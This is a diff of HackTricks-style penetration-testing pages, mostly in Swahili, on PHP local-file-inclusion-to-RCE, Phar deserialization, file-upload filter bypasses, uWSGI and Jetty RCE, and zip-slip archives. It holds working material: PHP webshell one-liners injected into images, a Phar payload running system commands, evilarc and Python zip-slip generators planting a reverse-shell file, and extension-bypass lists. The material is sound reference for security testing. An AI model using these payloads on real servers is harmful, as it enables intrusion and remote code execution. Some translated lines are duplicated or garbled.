Ikiwa umepata **Local File Inclusion** hata kama **huna session** na `session.auto_start` iko `Off`. Ikiwa unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya multipart POST**, PHP itafanya **session iweze kwako**. Unaweza kutumia hii vibaya kupata RCE:
|
||||
Ikiwa umepata **Local File Inclusion** hata kama **huna kikao** na `session.auto_start` iko `Off`. Ikiwa utaweka **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya POST multipart**, PHP itafanya **kikao kwa ajili yako**. Unaweza kutumia hii vibaya kupata RCE:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
@ -580,7 +584,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Kupitia compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** na unaweza **kuondoa njia** ya faili ya muda LAKINI **server** inakagua ikiwa **faili inayopaswa kujumuishwa ina alama za PHP**, unaweza kujaribu **kuzidi ukaguzi huo** na **Race Condition** hii:
|
||||
Ikiwa umepata **Local File Inclusion** na unaweza **kuondoa njia** ya faili ya muda LAKINI **server** inakagua ikiwa **faili inayopaswa kujumuishwa ina alama za PHP**, unaweza kujaribu **kuzidi ukaguzi huo** kwa kutumia **Race Condition**:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
@ -2,9 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
**Phar** files (PHP Archive) files **zina meta data katika muundo wa serialized**, hivyo, wakati zinapochambuliwa, hii **metadata** inakuwa **deserialized** na unaweza kujaribu kutumia udhaifu wa **deserialization** ndani ya **PHP** code.
|
||||
**Phar** files (PHP Archive) files **zina metadata katika muundo wa serialized**, hivyo, wakati zinapochambuliwa, hii **metadata** inakuwa **deserialized** na unaweza kujaribu kutumia udhaifu wa **deserialization** ndani ya **PHP** code.
|
||||
|
||||
Jambo bora kuhusu sifa hii ni kwamba hii deserialization itatokea hata kwa kutumia kazi za PHP ambazo hazifanyi eval PHP code kama **file_get_contents(), fopen(), file() au file_exists(), md5_file(), filemtime() au filesize()**.
|
||||
|
||||
@ -24,7 +22,7 @@ system($this->data);
|
||||
|
||||
filesize("phar://test.phar"); #The attacker can control this path
|
||||
```
|
||||
Unaweza kuunda faili ya **phar** ambayo inapoload itatumia darasa hili kutekeleza amri zisizo na mpangilio** kwa kitu kama:
|
||||
Unaweza kuunda faili la **phar** ambalo linapoload litafanya **kudhulumu darasa hili ili kutekeleza amri zisizo na mpangilio** kwa kitu kama:
|
||||
```php:create_phar.php
|
||||
<?php
|
||||
|
||||
@ -50,7 +48,7 @@ $object = new AnyClass('whoami');
|
||||
$phar->setMetadata($object);
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Kumbuka jinsi **bajeti za kichawi za JPG** (`\xff\xd8\xff`) zinavyoongezwa mwanzoni mwa faili la phar ili **kuepuka** **uwezekano** wa **mipaka** ya **upakiaji** wa faili.\
|
||||
Kumbuka jinsi **bajeti za kichawi za JPG** (`\xff\xd8\xff`) zimeongezwa mwanzoni mwa faili la phar ili **kuepuka** **uwezekano** wa **mipaka** ya **kupakia** faili.\
|
||||
**Tengeneza** faili la `test.phar` kwa:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_phar.php
|
||||
@ -61,8 +59,8 @@ php vuln.php
|
||||
```
|
||||
### Marejeleo
|
||||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://blog.ripstech.com/2018/new-php-exploitation-technique/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,12 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## File Upload General Methodology
|
||||
|
||||
Mifumo mingine ya ziada inayofaa:
|
||||
Other useful extensions:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Kazi katika PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -18,11 +17,11 @@ Mifumo mingine ya ziada inayofaa:
|
||||
|
||||
### Bypass file extensions checks
|
||||
|
||||
1. Ikiwa inatumika, **angalia** **mifumo ya awali.** Pia jaribu kutumia **herufi kubwa**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Angalia **kuongeza mfumo halali kabla** ya mfumo wa utekelezaji (tumia mifumo ya awali pia):_
|
||||
1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Jaribu kuongeza **herufi maalum mwishoni.** Unaweza kutumia Burp **kujaribu** herufi zote za **ascii** na **Unicode**. (_Kumbuka kwamba unaweza pia kujaribu kutumia **mifumo ya awali** iliyotajwa_)
|
||||
3. Try adding **special characters at the end.** You could use Burp to **bruteforce** all the **ascii** and **Unicode** characters. (_Note that you can also try to use the **previously** motioned **extensions**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -32,7 +31,7 @@ Mifumo mingine ya ziada inayofaa:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Jaribu kupita ulinzi **kwa kudanganya parser ya mfumo** wa upande wa seva kwa mbinu kama **kuongeza** **mifumo** au **kuongeza data za takataka** (**null** bytes) kati ya mifumo. _Unaweza pia kutumia **mifumo ya awali** kuandaa payload bora._
|
||||
4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -41,13 +40,13 @@ Mifumo mingine ya ziada inayofaa:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Ongeza **tabaka lingine la mifumo** kwa ukaguzi wa awali:
|
||||
5. Add **another layer of extensions** to the previous check:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Jaribu kuweka **exec extension kabla ya mfumo halali** na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia ku exploit usanidi mbaya wa Apache ambapo chochote chenye mfumo **.php** lakini si lazima kumalizika kwa .php** kitaendesha msimbo):
|
||||
6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension\*\* _**.php**_**, but** not necessarily ending in .php\*\* will execute code):
|
||||
- _ex: file.php.png_
|
||||
7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya koloni “:” itaingizwa baada ya mfumo uliozuiliwa na kabla ya mmoja unaoruhusiwa. Kama matokeo, **faili tupu yenye mfumo uliozuiliwa** itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama kutumia jina lake fupi. Mwelekeo “**::$data**” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya nukta baada ya mwelekeo huu pia inaweza kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”)
|
||||
8. Jaribu kuvunja mipaka ya jina la faili. Mfumo halali unakatwa. Na PHP mbaya inabaki. AAA<--SNIP-->AAA.php
|
||||
7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
|
||||
8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
@ -62,54 +61,54 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Pita **Content-Type** ukaguzi kwa kuweka **thamani** ya **Content-Type** **header** kuwa: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Orodha ya maneno ya Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Pita **magic number** ukaguzi kwa kuongeza mwanzoni mwa faili **bytes za picha halisi** (changanya amri ya _file_). Au ingiza shell ndani ya **metadata**:\
|
||||
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` au unaweza pia **kuingiza payload moja kwa moja** katika picha:\
|
||||
`\` or you could also **introduce the payload directly** in an image:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Ikiwa **kuhifadhiwa kunatumika kwa picha yako**, kwa mfano kwa kutumia maktaba za kawaida za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **PLTE chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya kuhifadhiwa.
|
||||
- [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Tovuti inaweza pia kuwa **ikiweka** **picha**, kwa kutumia kwa mfano kazi za PHP-GD `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **IDAT chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya kuhifadhiwa.
|
||||
- [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Mbinu nyingine ya kutengeneza payload ambayo **inadumu baada ya kupunguza picha**, kwa kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **tEXt chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya kuhifadhiwa.
|
||||
- [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
|
||||
- Tafuta udhaifu wa **kubadilisha** jina la faili iliyopakiwa tayari (kubadilisha mfumo).
|
||||
- Tafuta udhaifu wa **Local File Inclusion** ili kutekeleza backdoor.
|
||||
- **Ufunuo wa Taarifa unaowezekana**:
|
||||
1. Pakia **mara kadhaa** (na kwa **wakati mmoja**) faili **ile ile** yenye **jina lile lile**
|
||||
2. Pakia faili yenye **jina** la **faili** au **folda** ambayo **tayari ipo**
|
||||
3. Kupakia faili yenye **“.”, “..”, au “…” kama jina lake**. Kwa mfano, katika Apache katika **Windows**, ikiwa programu inahifadhi faili zilizopakiwa katika saraka “/www/uploads/”, jina la “.” litaunda faili inayoitwa “uploads” katika saraka “/www/”.
|
||||
4. Pakia faili ambayo huenda isifutwe kwa urahisi kama **“…:.jpg”** katika **NTFS**. (Windows)
|
||||
5. Pakia faili katika **Windows** yenye **herufi zisizo sahihi** kama `|<>*?”` katika jina lake. (Windows)
|
||||
6. Pakia faili katika **Windows** ukitumia **majina yaliyohifadhiwa** (**yaliyozuiliwa**) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
|
||||
- Jaribu pia **kupakia executable** (.exe) au **.html** (isiyo na shaka) ambayo **itaendesha msimbo** wakati itakapofunguliwa kwa bahati mbaya na mwathirika.
|
||||
- Find a vulnerability to **rename** the file already uploaded (to change the extension).
|
||||
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
|
||||
- **Possible Information disclosure**:
|
||||
1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
|
||||
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
|
||||
3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
|
||||
4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. (Windows)
|
||||
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
|
||||
6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||
- Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
|
||||
|
||||
### Special extension tricks
|
||||
|
||||
Ikiwa unajaribu kupakia faili kwenye **PHP server**, [angalia mbinu ya **.htaccess** ya kutekeleza msimbo](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Ikiwa unajaribu kupakia faili kwenye **ASP server**, [angalia mbinu ya **.config** ya kutekeleza msimbo](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Faili za `.phar` ni kama `.jar` kwa java, lakini kwa php, na zinaweza **kutumika kama faili ya php** (kuitekeleza kwa php, au kuijumuisha ndani ya skripti...)
|
||||
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
|
||||
|
||||
Mifumo ya `.inc` wakati mwingine hutumiwa kwa faili za php ambazo zinatumika tu **kuagiza faili**, hivyo, kwa wakati fulani, mtu anaweza kuwa amekubali **mfumo huu kutekelezwa**.
|
||||
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **xml mpya \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Hivyo, kama ilivyotajwa katika picha ifuatayo, pakia faili ya XML kwenye `$JETTY_BASE/webapps/` na subiri shell!
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Kwa uchunguzi wa kina wa udhaifu huu angalia utafiti wa asili: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Udhaifu wa Remote Command Execution (RCE) unaweza kutumika katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya usanidi `.ini`. Faili za usanidi za uWSGI zinatumia sintaksia maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji '@', wanaotumika kama `@(filename)`, wameundwa kuingiza maudhui ya faili. Kati ya mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kutumika kwa madhumuni mabaya kama Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi `.ini` inashughulikiwa.
|
||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
|
||||
|
||||
Fikiria mfano ufuatao wa faili hatari ya `uwsgi.ini`, ikionyesha mipango mbalimbali:
|
||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -157,11 +156,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Kumbuka kwamba **chaguo lingine** ambalo unaweza kuwa unafikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**.
|
||||
Kumbuka kwamba **chaguo lingine** ambalo unaweza kuwa unafikiria ili kupita hii ukaguzi ni kufanya **HTTP server irejeze kwenye faili tofauti**, hivyo URL ya awali itapita ukaguzi kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameter** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**.
|
||||
|
||||
## Zana
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Bug Hunters katika kujaribu mifumo ya kupakia faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Bug Hunters katika kujaribu mitambo ya kupakia faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti.
|
||||
|
||||
## Kutoka kwa Upakiaji wa Faili hadi Udhaifu Mwingine
|
||||
|
||||
@ -172,16 +171,16 @@ Kumbuka kwamba **chaguo lingine** ambalo unaweza kuwa unafikiria ili kupita ukag
|
||||
- [**XSS** katika picha (svg) ya kupakia faili](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
- **JS** faili **kupakia** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
- [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** kupitia kupakia faili la svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- [**Open Redirect** kupitia kupakia faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
- [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembeleaji**.
|
||||
- Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha** hii itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembeleaji**.
|
||||
- [**XXE na CORS** bypass na PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo na mipaka kufuatia maelekezo yaliyotolewa.
|
||||
- PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo na mipaka kufuata maelekezo yaliyotolewa.
|
||||
- Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa seva ina **antivirus**
|
||||
- Angalia ikiwa kuna **kikomo cha saizi** katika kupakia faili
|
||||
|
||||
Hapa kuna orodha ya vitu 10 bora ambavyo unaweza kufikia kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Hapa kuna orodha ya juu 10 ya mambo ambayo unaweza kufikia kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -196,7 +195,9 @@ Hapa kuna orodha ya vitu 10 bora ambavyo unaweza kufikia kwa kupakia (kutoka [ha
|
||||
|
||||
#### Burp Extension
|
||||
|
||||
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
||||
{{#ref}}
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## Magic Header Bytes
|
||||
|
||||
@ -205,13 +206,13 @@ Hapa kuna orodha ya vitu 10 bora ambavyo unaweza kufikia kwa kupakia (kutoka [ha
|
||||
|
||||
Rejelea [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) kwa aina nyingine za faili.
|
||||
|
||||
### Zip/Tar Faili Zilizopakiwa Zitaondolewa Kiotomatiki
|
||||
### Zip/Tar Faili Iliyopakiwa Kiotomatiki
|
||||
|
||||
Ikiwa unaweza kupakia ZIP ambayo itachukuliwa ndani ya seva, unaweza kufanya mambo 2:
|
||||
Ikiwa unaweza kupakia ZIP ambayo itakua ikitolewa ndani ya seva, unaweza kufanya mambo 2:
|
||||
|
||||
#### Symlink
|
||||
|
||||
Pakia kiungo kinachokuwa na viungo vya laini kwa faili nyingine, kisha, ukifika kwenye faili zilizochukuliwa utapata faili zilizounganishwa:
|
||||
Pakia kiungo kinachokuwa na viungo vya laini kwa faili nyingine, kisha, ukifika kwenye faili zilizotolewa utapata faili zilizounganishwa:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -219,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Decompress in different folders
|
||||
|
||||
Uundaji usiotarajiwa wa faili katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita kwenye saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji wa programu inayolengwa.
|
||||
Uundaji usiotarajiwa wa faili katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakiaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakiaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
|
||||
|
||||
Kibao cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Chombo kinaweza kutumika kama inavyoonyeshwa:
|
||||
```python
|
||||
@ -228,9 +229,9 @@ python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Zaidi ya hayo, **njia ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake.
|
||||
Zaidi ya hayo, **mbinu ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake.
|
||||
|
||||
Hapa chini kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip lenye uharibifu:
|
||||
Hapa kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip lenye uharibifu:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -248,11 +249,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Kutitumia usindikaji kwa ajili ya kueneza faili**
|
||||
**Kutatiza matumizi ya usindikaji wa faili kwa ajili ya kueneza faili**
|
||||
|
||||
